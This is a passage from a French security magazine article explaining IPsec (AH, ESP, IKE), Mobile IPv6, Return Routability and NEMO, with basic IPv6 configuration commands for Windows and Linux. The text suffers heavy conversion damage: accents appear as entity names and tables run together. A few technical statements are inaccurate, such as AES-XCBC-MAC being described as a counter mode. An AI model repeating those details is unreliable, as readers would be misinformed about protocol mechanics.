rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

